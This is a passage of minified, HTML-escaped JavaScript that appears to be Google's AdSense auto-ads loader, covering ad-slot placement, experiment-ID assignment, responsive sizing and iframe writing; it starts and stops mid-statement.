Zc(a,b)},gd=G.j,hd=function(a,b,c,d){return $c(b)?(G.v=!0,G.j(a,b,.1,d,&quot;puberror&quot;),!1):G.j(a,b,c,d)},id=function(a,b,c,d){return $c(b)?!1:G.j(a,b,c,d)};var jd=new function(){this.j=[&quot;google-auto-placed&quot;];this.l={google_tag_origin:&quot;qs&quot;}};var kd=function(a,b){a.location.href&amp;&amp;a.location.href.substring&amp;&amp;(b.url=a.location.href.substring(0,200));Dc(Uc,&quot;ama&quot;,b,!0,.01,void 0)};var ld=function(a){cc(this,a,null)};ua(ld,D);var md=null,nd=function(){if(!md){for(var a=l,b=a,c=0;a&amp;&amp;a!=a.parent;)if(a=a.parent,c++,x(a))b=a;else break;md=b}return md};var od={google:1,googlegroups:1,gmail:1,googlemail:1,googleimages:1,googleprint:1},pd=/(corp|borg)\.google\.com:\d+$/,qd=function(){var a=v.google_page_location||v.google_page_url;&quot;EMPTY&quot;==a&amp;&amp;(a=v.google_page_url);if(vb||!a)return!1;a=a.toString();0==a.indexOf(&quot;http://&quot;)?a=a.substring(7,a.length):0==a.indexOf(&quot;https://&quot;)&amp;&amp;(a=a.substring(8,a.length));var b=a.indexOf(&quot;/&quot;);-1==b&amp;&amp;(b=a.length);a=a.substring(0,b);if(pd.test(a))return!1;a=a.split(&quot;.&quot;);b=!1;3&lt;=a.length&amp;&amp;(b=a[a.length-3]in od);2&lt;=a.length&amp;&amp;(b=b||a[a.length-2]in od);return b};var rd=function(a){a=a.document;return(&quot;CSS1Compat&quot;==a.compatMode?a.documentElement:a.body)||{}},I=function(a){return rd(a).clientWidth};var sd=function(a,b){Array.prototype.slice.call(a).forEach(b,void 0)};var td=function(a,b,c,d){this.s=a;this.l=b;this.o=c;this.j=d};td.prototype.toString=function(){return JSON.stringify({nativeQuery:this.s,occurrenceIndex:this.l,paragraphIndex:this.o,ignoreMode:this.j})};var ud=function(a,b){if(null==a.j)return b;switch(a.j){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error(&quot;Unknown ignore mode: &quot;+a.j)}},wd=function(a){var b=[];sd(a.getElementsByTagName(&quot;p&quot;),function(a){100&lt;=vd(a)&amp;&amp;b.push(a)});return b},vd=function(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||&quot;SCRIPT&quot;==a.tagName)return 0;var b=0;sd(a.childNodes,function(a){b+=vd(a)});return b},xd=function(a){return 0==a.length||isNaN(a[0])?a:&quot;\\&quot;+(30+parseInt(a[0],10))+&quot; &quot;+a.substring(1)};var yd=function(a){if(1!=a.nodeType)var b=!1;else if(b=&quot;INS&quot;==a.tagName)a:{b=[&quot;adsbygoogle-placeholder&quot;];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d&lt;a.length;++d)c[a[d]]=!0;for(d=0;d&lt;b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};var zd=function(a,b){for(var c=0;c&lt;b.length;c++){var d=b[c],e=Ua(d.Ga);a[e]=d.value}};var Ad={1:1,2:2,3:3,0:0},Bd=function(a){return null!=a?Ad[a]:a},Cd={1:0,2:1,3:2,4:3};var Dd=function(a,b){if(!a)return!1;a=y(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return&quot;left&quot;==a||&quot;right&quot;==a},Ed=function(a){for(a=a.previousSibling;a&amp;&amp;1!=a.nodeType;)a=a.previousSibling;return a?a:null},Fd=function(a){return!!a.nextSibling||!!a.parentNode&amp;&amp;Fd(a.parentNode)};var Gd=function(a,b){this.j=l;this.v=a;this.s=b;this.o=jd||null;this.l=!1},Id=function(a,b){if(a.l)return!0;try{var c=a.j.localStorage.getItem(&quot;google_ama_settings&quot;);var d=c?new ld(c?JSON.parse(c):null):null}catch(g){d=null}if(c=null!==d)d=E(d,2),c=null==d?!1:d;if(c)return a=a.j.google_ama_state=a.j.google_ama_state||{},a.eatf=!0;c=fc(a.s,mc,1);for(d=0;d&lt;c.length;d++){var e=c[d];if(1==E(e,8)){var f=ec(e,kc,4);if(f&amp;&amp;2==E(f,1)&amp;&amp;Hd(a,e,b))return a.l=!0,a=a.j.google_ama_state=a.j.google_ama_state||{},a.placement=d,!0}}return!1},Hd=function(a,b,c){if(1!=E(b,8))return!1;var d=ec(b,ic,1);if(!d)return!1;var e=E(d,7);if(E(d,1)||E(d,3)||0&lt;dc(d,4).length){var f=E(d,3),g=E(d,1),h=dc(d,4);e=E(d,2);var k=E(d,5);d=Bd(E(d,6));var m=&quot;&quot;;g&amp;&amp;(m+=g);f&amp;&amp;(m+=&quot;#&quot;+xd(f));if(h)for(f=0;f&lt;h.length;f++)m+=&quot;.&quot;+xd(h[f]);e=(h=m)?new td(h,e,k,d):null}else e=e?new td(e,E(d,2),E(d,5),Bd(E(d,6))):null;if(!e)return!1;k=[];try{k=a.j.document.querySelectorAll(e.s)}catch(u){}if(k.length){h=k.length;if(0&lt;h){d=Array(h);for(f=0;f&lt;h;f++)d[f]=k[f];k=d}else k=[];k=ud(e,k);r(e.l)&amp;&amp;(h=e.l,0&gt;h&amp;&amp;(h+=k.length),k=0&lt;=h&amp;&amp;h&lt;k.length?[k[h]]:[]);if(r(e.o)){h=[];for(d=0;d&lt;k.length;d++)f=wd(k[d]),g=e.o,0&gt;g&amp;&amp;(g+=f.length),0&lt;=g&amp;&amp;g&lt;f.length&amp;&amp;h.push(f[g]);k=h}e=k}else e=[];if(0==e.length)return!1;e=e[0];k=E(b,2);k=Cd[k];k=void 0!==k?k:null;if(!(h=null==k)){a:{h=a.j;switch(k){case 0:h=Dd(Ed(e),h);break a;case 3:h=Dd(e,h);break a;case 2:d=e.lastChild;h=Dd(d?1==d.nodeType?d:Ed(d):null,h);break a}h=!1}if(c=!h&amp;&amp;!(!c&amp;&amp;2==k&amp;&amp;!Fd(e)))c=1==k||2==k?e:e.parentNode,c=!(c&amp;&amp;!yd(c)&amp;&amp;0&gt;=c.offsetWidth);h=!c}if(h)return!1;b=ec(b,jc,3);h={};b&amp;&amp;(h.ta=E(b,1),h.ja=E(b,2),h.ya=!!E(b,3));var n;b=a.j;c=a.o;d=a.v;f=b.document;a=f.createElement(&quot;div&quot;);g=a.style;g.textAlign=&quot;center&quot;;g.width=&quot;100%&quot;;g.height=&quot;auto&quot;;g.clear=h.ya?&quot;both&quot;:&quot;none&quot;;h.Aa&amp;&amp;zd(g,h.Aa);f=f.createElement(&quot;ins&quot;);g=f.style;g.display=&quot;block&quot;;g.margin=&quot;auto&quot;;g.backgroundColor=&quot;transparent&quot;;h.ta&amp;&amp;(g.marginTop=h.ta);h.ja&amp;&amp;(g.marginBottom=h.ja);h.xa&amp;&amp;zd(g,h.xa);a.appendChild(f);f.setAttribute(&quot;data-ad-format&quot;,&quot;auto&quot;);h=[];if(g=c&amp;&amp;c.j)a.className=g.join(&quot; &quot;);f.className=&quot;adsbygoogle&quot;;f.setAttribute(&quot;data-ad-client&quot;,d);h.length&amp;&amp;f.setAttribute(&quot;data-ad-channel&quot;,h.join(&quot;+&quot;));a:{try{switch(k){case 0:e.parentNode&amp;&amp;e.parentNode.insertBefore(a,e);break;case 3:var p=e.parentNode;if(p){var q=e.nextSibling;if(q&amp;&amp;q.parentNode!=p)for(;q&amp;&amp;8==q.nodeType;)q=q.nextSibling;p.insertBefore(a,q)}break;case 1:e.insertBefore(a,e.firstChild);break;case 2:e.appendChild(a)}yd(e)&amp;&amp;(e.setAttribute(&quot;data-init-display&quot;,e.style.display),e.style.display=&quot;block&quot;);f.setAttribute(&quot;data-adsbygoogle-status&quot;,&quot;reserved&quot;);p={element:f};(n=c&amp;&amp;c.l)&amp;&amp;(p.params=n);(b.adsbygoogle=b.adsbygoogle||[]).push(p)}catch(u){a&amp;&amp;a.parentNode&amp;&amp;(n=a.parentNode,n.removeChild(a),yd(n)&amp;&amp;(n.style.display=n.getAttribute(&quot;data-init-display&quot;)||&quot;none&quot;));n=!1;break a}n=!0}return n?!0:!1};var Kd=function(){this.l=new Jd(this);this.j=0},Ld=function(a){if(0!=a.j)throw Error(&quot;Already resolved/rejected.&quot;)},Jd=function(a){this.j=a},Md=function(a){switch(a.j.j){case 0:break;case 1:a.ca&amp;&amp;a.ca(a.j.s);break;case 2:a.sa&amp;&amp;a.sa(a.j.o);break;default:throw Error(&quot;Unhandled deferred state.&quot;)}};var Nd=function(a){this.exception=a},Od=function(a,b){this.l=l;this.o=a;this.j=b};Od.prototype.start=function(){this.s()};Od.prototype.s=function(){try{switch(this.l.document.readyState){case &quot;complete&quot;:case &quot;interactive&quot;:Id(this.o,!0);Pd(this);break;default:Id(this.o,!1)?Pd(this):this.l.setTimeout(sa(this.s,this),100)}}catch(a){Pd(this,a)}};var Pd=function(a,b){try{var c=a.j,d=new Nd(b);Ld(c);c.j=1;c.s=d;Md(c.l)}catch(e){a=a.j,b=e,Ld(a),a.j=2,a.o=b,Md(a.l)}};var Qd=function(a){kd(a,{atf:1})},Rd=function(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;kd(a,{atf:0})};var Sd=function(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledByReactiveTag={};this.isReactiveTagFirstOnPage=this.wasReactiveAdConfigHandlerRegistered=this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.debugCard=null;this.messageValidationEnabled=this.debugCardRequested=!1;this.adRegion=this.floatingAdsFillMessage=this.grappleTagStatusService=null};var cd=function(a){try{var b=l.google_ad_modifications;if(null!=b){var c=Ea(b.eids,b.loeids);null!=c&amp;&amp;0&lt;c.length&amp;&amp;(a.eid=c.join(&quot;,&quot;))}}catch(d){}},bd=function(a){a.shv=ub()};G.s=!vb;var Td={9:&quot;400&quot;,10:&quot;100&quot;,11:&quot;0.10&quot;,12:&quot;0.02&quot;,13:&quot;0.001&quot;,14:&quot;300&quot;,15:&quot;100&quot;,19:&quot;0.01&quot;,22:&quot;0.01&quot;,23:&quot;0.2&quot;,24:&quot;0.05&quot;,26:&quot;0.5&quot;,27:&quot;0.001&quot;,28:&quot;0.001&quot;,29:&quot;0.01&quot;,32:&quot;0.02&quot;,34:&quot;0.001&quot;,37:&quot;0.0&quot;,40:&quot;0.15&quot;,42:&quot;0&quot;,43:&quot;0.02&quot;,47:&quot;0.01&quot;,48:&quot;0.2&quot;,49:&quot;0.2&quot;,51:&quot;0.05&quot;,52:&quot;0.1&quot;,54:&quot;800&quot;,55:&quot;200&quot;,56:&quot;0.001&quot;,57:&quot;0.001&quot;,58:&quot;0.02&quot;,60:&quot;0.03&quot;,65:&quot;0.02&quot;,66:&quot;0.0&quot;,67:&quot;0.04&quot;,70:&quot;1.0&quot;,71:&quot;700&quot;,72:&quot;10&quot;,74:&quot;0.03&quot;,75:&quot;true&quot;,76:&quot;0.004&quot;,77:&quot;true&quot;,78:&quot;0.1&quot;,79:&quot;1200&quot;,80:&quot;2&quot;,82:&quot;3&quot;,83:&quot;1.0&quot;,84:&quot;0&quot;,85:&quot;200&quot;,89:&quot;1.0&quot;,90:&quot;0.0&quot;,92:&quot;0.02&quot;,94:&quot;true&quot;,96:&quot;700&quot;,97:&quot;2&quot;,98:&quot;0.01&quot;,99:&quot;600&quot;,100:&quot;100&quot;,101:&quot;false&quot;};var Ud=null,Vd=function(){this.V=Td},K=function(a,b){a=parseFloat(a.V[b]);return isNaN(a)?0:a},Wd=function(){Ud||(Ud=new Vd);return Ud};var Xd={m:&quot;368226200&quot;,u:&quot;368226201&quot;},Yd={m:&quot;368226210&quot;,u:&quot;368226211&quot;},Zd={m:&quot;38893301&quot;,K:&quot;38893302&quot;,T:&quot;38893303&quot;},$d={m:&quot;38893311&quot;,K:&quot;38893312&quot;,T:&quot;38893313&quot;},ae={m:&quot;36998750&quot;,u:&quot;36998751&quot;},be={m:&quot;4089040&quot;,ea:&quot;4089042&quot;},ce={B:&quot;20040067&quot;,m:&quot;20040068&quot;,da:&quot;1337&quot;},de={m:&quot;21060548&quot;,B:&quot;21060549&quot;},ee={m:&quot;21060623&quot;,B:&quot;21060624&quot;},fe={Y:&quot;62710015&quot;,m:&quot;62710016&quot;},ge={Y:&quot;62710017&quot;,m:&quot;62710018&quot;},he={m:&quot;201222021&quot;,D:&quot;201222022&quot;},ie={m:&quot;201222031&quot;,D:&quot;201222032&quot;},L={m:&quot;21060866&quot;,u:&quot;21060867&quot;,U:&quot;21060868&quot;,ua:&quot;21060869&quot;,I:&quot;21060870&quot;,J:&quot;21060871&quot;},je={m:&quot;21060550&quot;,u:&quot;21060551&quot;},ke={m:&quot;332260000&quot;,G:&quot;332260001&quot;,H:&quot;332260002&quot;,F:&quot;332260003&quot;},le={m:&quot;332260004&quot;,G:&quot;332260005&quot;,H:&quot;332260006&quot;,F:&quot;332260007&quot;},me={m:&quot;21060518&quot;,u:&quot;21060519&quot;},ne={m:&quot;21060830&quot;,ha:&quot;21060831&quot;,Z:&quot;21060832&quot;,ga:&quot;21060843&quot;,fa:&quot;21061122&quot;},oe={m:&quot;191880501&quot;,u:&quot;191880502&quot;},pe={m:&quot;21061394&quot;,u:&quot;21061395&quot;},qe={m:&quot;10583695&quot;,u:&quot;10583696&quot;},re={m:&quot;10593695&quot;,u:&quot;10593696&quot;};Hc=!1;var se=new Fc(0,199),te=new Fc(200,399),ue=new Fc(400,599),ve=new Fc(600,699),we=new Fc(700,799),xe=new Fc(800,999);var ze=function(a){var b=Wd();a=ye(a,we,K(b,96),K(b,97),[&quot;182982000&quot;,&quot;182982100&quot;]);if(!a)return{L:&quot;&quot;,M:&quot;&quot;};b={};b=(b[&quot;182982000&quot;]=&quot;182982200&quot;,b[&quot;182982100&quot;]=&quot;182982300&quot;,b)[a];return{L:a,M:b}},Ae=function(a){var b=Wd(),c=ye(a,we,K(b,71),K(b,72),[&quot;153762914&quot;,&quot;153762975&quot;]),d=&quot;&quot;;&quot;153762914&quot;==c?d=&quot;153762530&quot;:&quot;153762975&quot;==c&amp;&amp;(d=&quot;153762841&quot;);if(c)return{L:c,M:d};c=ye(a,we,K(b,71)+K(b,72),K(b,80),[&quot;164692081&quot;,&quot;165767636&quot;]);&quot;164692081&quot;==c?d=&quot;166717794&quot;:&quot;165767636&quot;==c&amp;&amp;(d=&quot;169062368&quot;);return{L:c||&quot;&quot;,M:d}},Be=function(a){var b=a.google_ad_modifications=a.google_ad_modifications||{};if(!b.plle){b.plle=!0;var c=b.eids=b.eids||[];b=b.loeids=b.loeids||[];var d=Wd(),e=ze(a),f=e.L;e=e.M;if(f&amp;&amp;e)M(c,f),M(c,e);else{var g=Ae(a);M(b,g.L);M(c,g.M)}g=Yd;f=ye(a,se,K(d,84),K(d,85),[g.m,g.u]);M(b,f);var h=Xd;f==g.m?e=h.m:f==g.u?e=h.u:e=&quot;&quot;;M(c,e);g=be;M(c,ye(a,ue,K(d,9),K(d,10),[g.m,g.ea]));Ja(&quot;&quot;)&amp;&amp;M(b,&quot;&quot;);g=fe;f=N(a,K(d,11),[g.m,g.Y]);g=Fa(g,function(a){return a==f});g=ge[g];M(c,f);M(c,g);g=L;g=N(a,K(d,12),[g.m,g.u,g.U,g.ua,g.I,g.J]);M(c,g);g||(g=je,g=N(a,K(d,58),[g.m,g.u]),M(c,g));g||(g=me,f=N(a,K(d,56),[g.m,g.u]),M(c,f));g=ce;f=N(a,K(d,13),[g.B,g.m]);M(c,f);M(c,Kc([g.da],0));g=de;f=N(a,K(d,60),[g.B,g.m]);M(c,f);f==de.B&amp;&amp;(g=ee,f=N(a,K(d,66),[g.B,g.m]),M(c,f));g=ie;f=ye(a,te,K(d,14),K(d,15),[g.m,g.D]);M(b,f);h=he;f==g.m?e=h.m:f==g.D?e=h.D:e=&quot;&quot;;M(c,e);g=le;f=ye(a,xe,K(d,54),K(d,55),[g.m,g.G,g.H,g.F]);M(b,f);h=ke;f==g.m?e=h.m:f==g.G?e=h.G:f==g.H?e=h.H:f==g.F?e=h.F:e=&quot;&quot;;M(c,e);g=$d;f=N(a,K(d,70),[g.K]);M(b,f);h=Zd;switch(f){case g.m:e=h.m;break;case g.K:e=h.K;break;case g.T:e=h.T;break;default:h=&quot;&quot;}M(c,e);g=ae;f=N(a,K(d,98),[g.m,g.u]);M(c,f);if(tb(d.V[77],!1)||vb)g=ne,f=N(a,K(d,76),[g.m,g.ha,g.Z,g.ga]),M(c,f),f||(f=N(a,K(d,83),[g.fa]),M(c,f));g=oe;f=N(a,K(d,90),[g.m,g.u]);tb(d.V[94],!1)&amp;&amp;!f&amp;&amp;(f=g.u);M(c,f);g=pe;f=N(a,K(d,92),[g.m,g.u]);M(c,f);g=qe;f=ye(a,ve,K(d,99),K(d,100),[g.m,g.u]);M(b,f);h=re;f==g.m?e=h.m:f==g.u?e=h.u:e=&quot;&quot;;M(c,e)}},M=function(a,b){b&amp;&amp;a.push(b)},Ce=function(a,b){a=(a=(a=a.location&amp;&amp;a.location.hash)&amp;&amp;a.match(/google_plle=([\d,]+)/))&amp;&amp;a[1];return!!a&amp;&amp;-1!=a.indexOf(b)},N=function(a,b,c){for(var d=0;d&lt;c.length;d++)if(Ce(a,c[d]))return c[d];return Kc(c,b)},ye=function(a,b,c,d,e){for(var f=0;f&lt;e.length;f++)if(Ce(a,e[f]))return e[f];f=new Ec(c,c+d-1);(d=0&gt;=d||d%e.length)||(b=b.j,d=!(b.start&lt;=f.start&amp;&amp;b.j&gt;=f.j));d?c=null:(a=Gc(a),c=null!==a&amp;&amp;f.start&lt;=a&amp;&amp;f.j&gt;=a?e[(a-c)%e.length]:null);return c};var De=function(a){if(!a)return&quot;&quot;;(a=a.toLowerCase())&amp;&amp;&quot;ca-&quot;!=a.substring(0,3)&amp;&amp;(a=&quot;ca-&quot;+a);return a};var Ee=function(a,b,c){var d=void 0===d?&quot;&quot;:d;var e=[&quot;&lt;iframe&quot;],f;for(f in a)a.hasOwnProperty(f)&amp;&amp;Kb(e,f+&quot;=&quot;+a[f]);e.push(&#039;style=&quot;&#039;+(&quot;left:0;position:absolute;top:0;width:&quot;+b+&quot;px;height:&quot;+c+&quot;px;&quot;)+&#039;&quot;&#039;);e.push(&quot;&gt;&lt;/iframe&gt;&quot;);a=a.id;b=&quot;border:none;height:&quot;+c+&quot;px;margin:0;padding:0;position:relative;visibility:visible;width:&quot;+b+&quot;px;background-color:transparent;&quot;;return[&#039;&lt;ins id=&quot;&#039;,a+&quot;_expand&quot;,&#039;&quot; style=&quot;display:inline-table;&#039;,b,void 0===d?&quot;&quot;:d,&#039;&quot;&gt;&lt;ins id=&quot;&#039;,a+&quot;_anchor&quot;,&#039;&quot; style=&quot;display:block;&#039;,b,&#039;&quot;&gt;&#039;,e.join(&quot; &quot;),&quot;&lt;/ins&gt;&lt;/ins&gt;&quot;].join(&quot;&quot;)},Fe=function(a,b,c){var d=a.document.getElementById(b).contentWindow;if(x(d))a=a.document.getElementById(b).contentWindow,b=a.document,b.body&amp;&amp;b.body.firstChild||(/Firefox/.test(navigator.userAgent)?b.open(&quot;text/html&quot;,&quot;replace&quot;):b.open(),a.google_async_iframe_close=!0,b.write(c));else{a=a.document.getElementById(b).contentWindow;c=String(c);b=[&#039;&quot;&#039;];for(d=0;d&lt;c.length;d++){var e=c.charAt(d),f=e.charCodeAt(0),g=d+1,h;if(!(h=Sa[e])){if(!(31&lt;f&amp;&amp;127&gt;f))if(f=e,f in Ta)e=Ta[f];else if(f in Sa)e=Ta[f]=Sa[f];else{h=f.charCodeAt(0);if(31&lt;h&amp;&amp;127&gt;h)e=f;else{if(256&gt;h){if(e=&quot;\\x&quot;,16&gt;h||256&lt;h)e+=&quot;0&quot;}else e=&quot;\\u&quot;,4096&gt;h&amp;&amp;(e+=&quot;0&quot;);e+=h.toString(16).toUpperCase()}e=Ta[f]=e}h=e}b[g]=h}b.push(&#039;&quot;&#039;);a.location.replace(&quot;javascript:&quot;+b.join(&quot;&quot;))}};var Ge=null;var He={rectangle:1,horizontal:2,vertical:4};var O=function(a,b){this.v=a;this.s=b};O.prototype.minWidth=function(){return this.v};O.prototype.height=function(){return this.s};O.prototype.j=function(a){return 300&lt;a&amp;&amp;300&lt;this.s?this.v:Math.min(1200,Math.round(a))};O.prototype.o=function(a){return this.j(a)+&quot;x&quot;+this.height()};O.prototype.l=function(){};var P=function(a,b,c,d){d=void 0===d?!1:d;O.call(this,a,b);this.W=c;this.za=d};ia(P,O);P.prototype.l=function(a,b,c,d){1!=c.google_ad_resize&amp;&amp;(d.style.height=this.height()+&quot;px&quot;)};var Ie=function(a){return function(b){return!!(b.W&amp;a)}};function Je(a,b){for(var c=[&quot;width&quot;,&quot;height&quot;],d=0;d&lt;c.length;d++){var e=&quot;google_ad_&quot;+c[d];if(!b.hasOwnProperty(e)){var f=A(a[c[d]]);f=null===f?null:Math.round(f);null!=f&amp;&amp;(b[e]=f)}}}var Ke=function(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();var e={x:d.left-c.left,y:d.top-c.top}}catch(f){e=null}return(a=e)?a.y:0},Le=function(a,b){do{var c=y(a,b);if(c&amp;&amp;&quot;fixed&quot;==c.position)return!1}while(a=a.parentElement);return!0},Me=function(a,b,c){var d=c.google_safe_for_responsive_override;return null!=d?d:c.google_safe_for_responsive_override=Le(a,b)},Ne=function(a){var b=0,c;for(c in He)-1!=a.indexOf(c)&amp;&amp;(b|=He[c]);return b},Oe=function(a,b){for(var c=I(b),d=0;100&gt;d&amp;&amp;a;d++){var e=y(a,b);if(e&amp;&amp;&quot;hidden&quot;==e.overflowX&amp;&amp;(e=A(e.width))&amp;&amp;e&lt;c)return!0;a=a.parentElement}return!1},Pe=function(a,b){for(var c=a,d=0;100&gt;d&amp;&amp;c;d++){var e=c.style;if(e&amp;&amp;e.height&amp;&amp;&quot;auto&quot;!=e.height&amp;&amp;&quot;inherit&quot;!=e.height||e&amp;&amp;e.maxHeight&amp;&amp;&quot;auto&quot;!=e.maxHeight&amp;&amp;&quot;inherit&quot;!=e.maxHeight)return!1;c=c.parentElement}c=a;for(d=0;100&gt;d&amp;&amp;c;d++){if((e=y(c,b))&amp;&amp;&quot;hidden&quot;==e.overflowY)return!1;c=c.parentElement}c=a;for(d=0;100&gt;d&amp;&amp;c;d++){a:{e=a;var f=[&quot;height&quot;,&quot;max-height&quot;],g=b.document.styleSheets;if(g)for(var h=e.matches||e.webkitMatchesSelector||e.mozMatchesSelector||e.msMatchesSelector||e.oMatchesSelector,k=0;k&lt;Math.min(g.length,10);++k){var m=void 0;try{var n=g[k],p=null;try{p=n.cssRules||n.rules}catch(u){if(15==u.code)throw u.styleSheet=n,u}m=p}catch(u){continue}if(m&amp;&amp;0&lt;m.length)for(p=0;p&lt;Math.min(m.length,10);++p)if(h.call(e,m[p].selectorText))for(var q=0;q&lt;f.length;++q)if(-1!=m[p].cssText.indexOf(f[q])){e=!0;break a}}e=!1}if(e)return!1;c=c.parentElement}return!0},Qe=function(a,b,c,d,e){e=e||{};if((vb&amp;&amp;a.google_top_window||a.top)!=a)return e.google_fwr_non_expansion_reason=3,!1;if(!(488&gt;I(a)))return e.google_fwr_non_expansion_reason=4,!1;if(!(a.innerHeight&gt;=a.innerWidth))return e.google_fwr_non_expansion_reason=5,!1;var f=I(a);return!f||(f-c)/f&gt;d?(e.google_fwr_non_expansion_reason=6,!1):Oe(b.parentElement,a)?(e.google_fwr_non_expansion_reason=7,!1):!0},Re=function(a,b,c,d){var e;(e=!Qe(b,c,a,.3,d))||(e=I(b),a=e-a,e&amp;&amp;5&lt;=a?a=!0:((d||{}).google_fwr_non_expansion_reason=e?-10&gt;a?11:0&gt;a?14:0==a?13:12:10,a=!1),e=!a);return e?!1:Me(c,b,d)?!0:(d.google_fwr_non_expansion_reason=9,!1)},Se=function(a){for(var b=0,c=0;100&gt;c&amp;&amp;a;c++)b+=a.offsetLeft+a.clientLeft-a.scrollLeft,a=a.offsetParent;return b},Te=function(a,b,c){return{pa:A(a.paddingLeft)||0,direction:a.direction,la:b-c}},Ue=function(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=y(b,a)}catch(d){}return!c||&quot;none&quot;!=c.display&amp;&amp;!(&quot;absolute&quot;==c.position&amp;&amp;(&quot;hidden&quot;==c.visibility||&quot;collapse&quot;==c.visibility))}return!1},Ve=function(a,b,c,d,e,f){if(a=y(c,a)){var g=Te(a,e,d);d=g.direction;a=g.pa;g=g.la;f.google_ad_resize?c=-1*(g+a)+&quot;px&quot;:(c=Se(c)+a,c=&quot;rtl&quot;==d?-1*(g-c)+&quot;px&quot;:-1*c+&quot;px&quot;);&quot;rtl&quot;==d?b.style.marginRight=c:b.style.marginLeft=c;b.style.width=e+&quot;px&quot;;b.style.zIndex=30}};var We=function(a,b,c){if(a.style){var d=A(a.style[c]);if(d)return d}if(a=y(a,b))if(c=A(a[c]))return c;return null},Xe=function(a){return function(b){return b.minWidth()&lt;=a}},$e=function(a,b,c){var d=a&amp;&amp;Ye(c,b),e=Ze(b);return function(a){return!(d&amp;&amp;a.height()&gt;=e)}},af=function(a){return function(b){return b.height()&lt;=a}},Ye=function(a,b){return Ke(a,b)&lt;rd(b).clientHeight-100},bf=function(a,b){var c=Infinity;do{var d=We(b,a,&quot;height&quot;);d&amp;&amp;(c=Math.min(c,d));(d=We(b,a,&quot;maxHeight&quot;))&amp;&amp;(c=Math.min(c,d))}while((b=b.parentElement)&amp;&amp;&quot;HTML&quot;!=b.tagName);return c},cf=function(a,b){var c=We(b,a,&quot;height&quot;);if(c)return c;var d=b.style.height;b.style.height=&quot;inherit&quot;;c=We(b,a,&quot;height&quot;);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&amp;&amp;A(b.style.height))&amp;&amp;(c=Math.min(c,d)),(d=We(b,a,&quot;maxHeight&quot;))&amp;&amp;(c=Math.min(c,d));while((b=b.parentElement)&amp;&amp;&quot;HTML&quot;!=b.tagName);return c},Ze=function(a){var b=a.google_unique_id;return C(a,ie.D)&amp;&amp;0==(&quot;number&quot;===typeof b?b:0)?2*rd(a).clientHeight/3:250};var Q=function(a,b,c,d,e,f,g,h,k,m,n,p,q,u){this.X=a;this.w=b;this.W=void 0===c?null:c;this.P=void 0===d?null:d;this.j=void 0===e?null:e;this.s=void 0===f?null:f;this.v=void 0===g?null:g;this.A=void 0===h?null:h;this.l=void 0===k?null:k;this.o=void 0===m?null:m;this.C=void 0===n?null:n;this.N=void 0===p?null:p;this.O=void 0===q?null:q;this.R=void 0===u?null:u},df=function(a,b,c){null!=a.W&amp;&amp;(c.google_responsive_formats=a.W);null!=a.P&amp;&amp;(c.google_safe_for_responsive_override=a.P);null!=a.j&amp;&amp;(c.google_full_width_responsive_allowed=a.j);1!=c.google_ad_resize&amp;&amp;(c.google_ad_width=a.w.j(b),c.google_ad_height=a.w.height(),c.google_ad_format=a.w.o(b),c.google_responsive_auto_format=a.X,c.google_ad_resizable=!0,c.google_override_format=1,c.google_loader_features_used=128,a.j&amp;&amp;(c.gfwrnh=a.w.height()+&quot;px&quot;));null!=a.s&amp;&amp;(c.google_fwr_non_expansion_reason=a.s);null!=a.v&amp;&amp;(c.gfwroml=a.v);null!=a.A&amp;&amp;(c.gfwromr=a.A);null!=a.l&amp;&amp;(c.gfwroh=a.l,c.google_resizing_height=A(a.l)||&quot;&quot;);null!=a.o&amp;&amp;(c.gfwrow=a.o,c.google_resizing_width=A(a.o)||&quot;&quot;);null!=a.C&amp;&amp;(c.gfwroz=a.C);null!=a.N&amp;&amp;(c.gml=a.N);null!=a.O&amp;&amp;(c.gmr=a.O);null!=a.R&amp;&amp;(c.gzi=a.R)};var ef=function(){return!(w(&quot;iPad&quot;)||w(&quot;Android&quot;)&amp;&amp;!w(&quot;Mobile&quot;)||w(&quot;Silk&quot;))&amp;&amp;(w(&quot;iPod&quot;)||w(&quot;iPhone&quot;)||w(&quot;Android&quot;)||w(&quot;IEMobile&quot;))};var ff=[&quot;google_content_recommendation_ui_type&quot;,&quot;google_content_recommendation_columns_num&quot;,&quot;google_content_recommendation_rows_num&quot;],R={},gf=(R.image_stacked=1/1.91,R.image_sidebyside=1/3.82,R.mobile_banner_image_sidebyside=1/3.82,R.pub_control_image_stacked=1/1.91,R.pub_control_image_sidebyside=1/3.82,R.pub_control_image_card_stacked=1/1.91,R.pub_control_image_card_sidebyside=1/3.74,R.pub_control_text=0,R.pub_control_text_card=0,R),S={},hf=(S.image_stacked=80,S.image_sidebyside=0,S.mobile_banner_image_sidebyside=0,S.pub_control_image_stacked=80,S.pub_control_image_sidebyside=0,S.pub_control_image_card_stacked=85,S.pub_control_image_card_sidebyside=0,S.pub_control_text=80,S.pub_control_text_card=80,S),jf={},kf=(jf.pub_control_image_stacked=100,jf.pub_control_image_sidebyside=200,jf.pub_control_image_card_stacked=150,jf.pub_control_image_card_sidebyside=250,jf.pub_control_text=100,jf.pub_control_text_card=150,jf),lf=function(a,b){O.call(this,a,b)};ia(lf,O);lf.prototype.j=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))};var mf=function(a){var b=0;Hb(ff,function(c){null!=a[c]&amp;&amp;++b});if(0===b)return!1;if(b===ff.length)return!0;throw new H(&quot;Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together.&quot;)},qf=function(a,b){nf(a,b);if(a&lt;Ca){if(ef()){of(b,&quot;mobile_banner_image_sidebyside&quot;,1,12);var c=+b.google_content_recommendation_columns_num;c=(a-8*c-8)/c;var d=b.google_content_recommendation_ui_type;b=b.google_content_recommendation_rows_num-1;return new Q(9,new 